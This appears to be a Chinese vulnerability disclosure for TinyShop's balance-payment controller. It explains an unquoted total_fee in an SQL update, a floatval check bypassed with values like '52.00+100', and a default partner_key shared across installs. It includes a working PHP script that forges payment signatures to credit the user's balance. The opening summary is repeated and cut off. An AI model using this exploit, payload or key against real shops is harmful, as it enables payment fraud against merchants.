### 简要描述: 再来一发,这次有点艰难。 ### 详细说明: protected/controllers/payment.php,36行 ``` public function pay_balance(){ $sign = Req::post('sign'); $args = Req::post(); unset($args['sign']); $total_fee = Req::post('total_fee'); $attach = Filter::int(Req::post('attach')); $return['attach'] = Req::post('attach'); $return['total_fee'] = Req::post('total_fee'); $return['order_no'] = Req::post('order_no'); $return['return_url'] = Req::post('return_url'); if(stripos($return['order_no'],'recharge_') !== false) { $msg = array('type'=>'fail','msg'=>'余额支付方式,不能用于在线充值功能!'); $this->redirect('/index/msg',false,$msg); exit; } if(floatval($return['total_fee']) <= 0 || $return['order_no'] == '' || $return['return_url'] == '') { $msg = array('type'=>'fail','msg'=>'支付参数不正确!'); $this->redirect('/index/msg',false,$msg); } else{ $payment = new Payment($attach); $paymentInfo = $payment->getPayment(); $pay_balance = new pay_balance(); $filter_param = $pay_balance->filterParam($args); //对待签名参数数组排序 $para_sort =...
### 简要描述: 再来一发,这次有点艰难。 ### 详细说明: protected/controllers/payment.php,36行 ``` public function pay_balance(){ $sign = Req::post('sign'); $args = Req::post(); unset($args['sign']); $total_fee = Req::post('total_fee'); $attach = Filter::int(Req::post('attach')); $return['attach'] = Req::post('attach'); $return['total_fee'] = Req::post('total_fee'); $return['order_no'] = Req::post('order_no'); $return['return_url'] = Req::post('return_url'); if(stripos($return['order_no'],'recharge_') !== false) { $msg = array('type'=>'fail','msg'=>'余额支付方式,不能用于在线充值功能!'); $this->redirect('/index/msg',false,$msg); exit; } if(floatval($return['total_fee']) <= 0 || $return['order_no'] == '' || $return['return_url'] == '') { $msg = array('type'=>'fail','msg'=>'支付参数不正确!'); $this->redirect('/index/msg',false,$msg); } else{ $payment = new Payment($attach); $paymentInfo = $payment->getPayment(); $pay_balance = new pay_balance(); $filter_param = $pay_balance->filterParam($args); //对待签名参数数组排序 $para_sort = $pay_balance->argSort($filter_param); $mysign = $pay_balance->buildSign($para_sort,$paymentInfo['partner_key']); if($mysign == $sign) { $user_id = $this->user['id']; $model = new Model("customer"); $customer = $model->where("user_id=".$user_id)->find(); if($customer['balance']>=$total_fee){ $order = $model->table("order")->where("order_no='".Filter::sql($return['order_no'])."' and user_id=".$user_id)->find(); if($order){ if($order['pay_status']==0){ $flag = $model->table("customer")->where("user_id=".$user_id)->data(array('balance'=>"`balance`-".$total_fee))->update(); $return['order_status'] = 'TINY_SECCESS'; //记录支付日志 Log::balance((0-$total_fee),$user_id,'通过余额支付方式进行商品购买,订单编号:'.$return['order_no']); $filter_param = $pay_balance->filterParam($return); $para_sort = $pay_balance->argSort($filter_param); $sign = $pay_balance->buildSign($para_sort,$paymentInfo['partner_key']); $prestr = $pay_balance->createLinkstring($para_sort); $nextUrl = urldecode($return['return_url']); if(stripos($nextUrl,'?') === false) { // $return_url = $nextUrl.'?'.$prestr; } else { //$return_url = $nextUrl.'&'.$prestr; } $return_url=$nextUrl;//.= '&sign='.$sign; $return['sign'] = $sign; //var_dump($return_url,$return,$prestr);exit(); $this->redirect("$return_url",true,$return); //header('location:'.$return_url,true,$result); exit; }else{ $msg = array('type'=>'fail','msg'=>'订单已经处理过,请查看订单信息!'); $this->redirect('/index/msg',false,$msg); exit; } }else{ $msg = array('type'=>'fail','msg'=>'订单不存在!'); $this->redirect('/index/msg',false,$msg); exit; } }else{ $msg = array('type'=>'fail','msg'=>'余额不足,请选择其它支付方式!'); $this->redirect('/index/msg',false,$msg); exit; } } else { $msg = array('type'=>'fail','msg'=>'签名错误!'); $this->redirect('/index/msg',false,$msg); exit; } } } ``` 首先定位到82行 ``` $flag = $model->table("customer")->where("user_id=".$user_id)->data(array('balance'=>"`balance`-".$total_fee))->update(); ``` 看到$total_fee没有单引号觉着有戏,往上跟 $total_fee = Req::post('total_fee'); 直接post过来的也没有做任何处理,继续往下走 56行: ``` if(floatval($return['total_fee']) <= 0 || $return['order_no'] == '' || $return['return_url'] == '') { $msg = array('type'=>'fail','msg'=>'支付参数不正确!'); $this->redirect('/index/msg',false,$msg); } ``` $return['total_fee']也就是post来的,但是这里判断是否小于0,所以无法直接传负数的方式加钱了,但是注意到这里floatval操作,如果我们传入52+10000呢,floatval取到的是52,这样可以绕过这个判断了,继续往下看 73行: ``` if($mysign == $sign) ``` 想要进入最开始那个update操作,需要满足一个条件:sign==mysign,上面一大堆的代码,其实主要关键是在$paymentInfo['partner_key'],这个参数是在数据库中存在,开始觉得希望不大了,因为一般这样的东西都不是固定的,抱着试一试的心理,在不同机器上安装tinyshop,发现partner_key居然一样,也就是 ``` NDHGFIUWYY94223343534578MNB ``` 这样下来只要我们还原mysign,并将他的值替换到sign中,我们就可以给自己加钱了,当然也可以注入,但是太麻烦了,每买一次商品,order_no都不一样,用来注入太麻烦。 同时要注意这里78行: ``` if($customer['balance']>=$total_fee){ ``` 由于是字符串比较所以想让payload通过这里,需要你的余额与payload之前比较是通过的: 比如下面测试的时候,我的余额是630,payload=52.00+100,这样两个字符串按位比较就可以通过了。 ### 漏洞证明: 1.首先买一件商品到付款页面 [<img src="https://images.seebug.org/upload/201409/04165321d33c4418de7d5e83b2460583679fc3fd.jpg" alt="tinyshop_q.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04165321d33c4418de7d5e83b2460583679fc3fd.jpg) 2.截包获取的order_no放到写好的exp里面还原出对应的mysign并替换到sign 比如这里的order_no=20140904163119891372 [<img src="https://images.seebug.org/upload/201409/04165406167ee4f3d6c556f4939e417b71447fde.jpg" alt="tinyshop_w.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04165406167ee4f3d6c556f4939e417b71447fde.jpg) 还原算法: ``` <?php function filterParam($para) { $filter_param = array(); foreach($para as $key => $val) { if($key == "sign" || $key == "sign_type" || $val == "") { continue; } else { $filter_param[$key] = $para[$key]; } } return $filter_param; } function argSort($para) { ksort($para); reset($para); return $para; } function createLinkstring($para){ $arg = ""; foreach($para as $key => $val){ $arg.=$key."=".$val."&"; } //去掉最后一个&字符 $arg = trim($arg,'&'); //如果存在转义字符,那么去掉转义 if(get_magic_quotes_gpc()){ $arg = stripslashes($arg); } return $arg; } function buildSign($sort_para,$key,$sign_type = "MD5") { //把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串 $prestr = createLinkstring($sort_para); //把拼接后的字符串再与安全校验码直接连接起来 $prestr = $prestr.$key; $mysgin = md5($prestr); return $mysgin; } $order_no1 = $argv[1]; $args = array( "attach" => "1", "total_fee" => "52.00+100", "order_no"=> $order_no1,//"20140904152012468756", "return_url" => "http://localhost/tinyshop/index.php?con=payment&act=callback&payment_id=1"); $filter_param = filterParam($args); $para_sort = argSort($filter_param); $sign = buildSign($para_sort,'NDHGFIUWYY94223343534578MNB'); echo $sign; ?> ``` total_fee 设置成你想要加的钱 比如total_fee=52.00+100 [<img src="https://images.seebug.org/upload/201409/0416550887e87699fe9a19a564146fee7c4f1c49.jpg" alt="tinyshop_e.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/0416550887e87699fe9a19a564146fee7c4f1c49.jpg) 结果: [<img src="https://images.seebug.org/upload/201409/04183311ff286adb3cc60fd000111abcb3ca0e43.jpg" alt="tinyshop_r.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04183311ff286adb3cc60fd000111abcb3ca0e43.jpg) [<img src="https://images.seebug.org/upload/201409/04183321af71f5920b1cdc0fe6ce444c823ce4ea.jpg" alt="tinyshop_t.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04183321af71f5920b1cdc0fe6ce444c823ce4ea.jpg)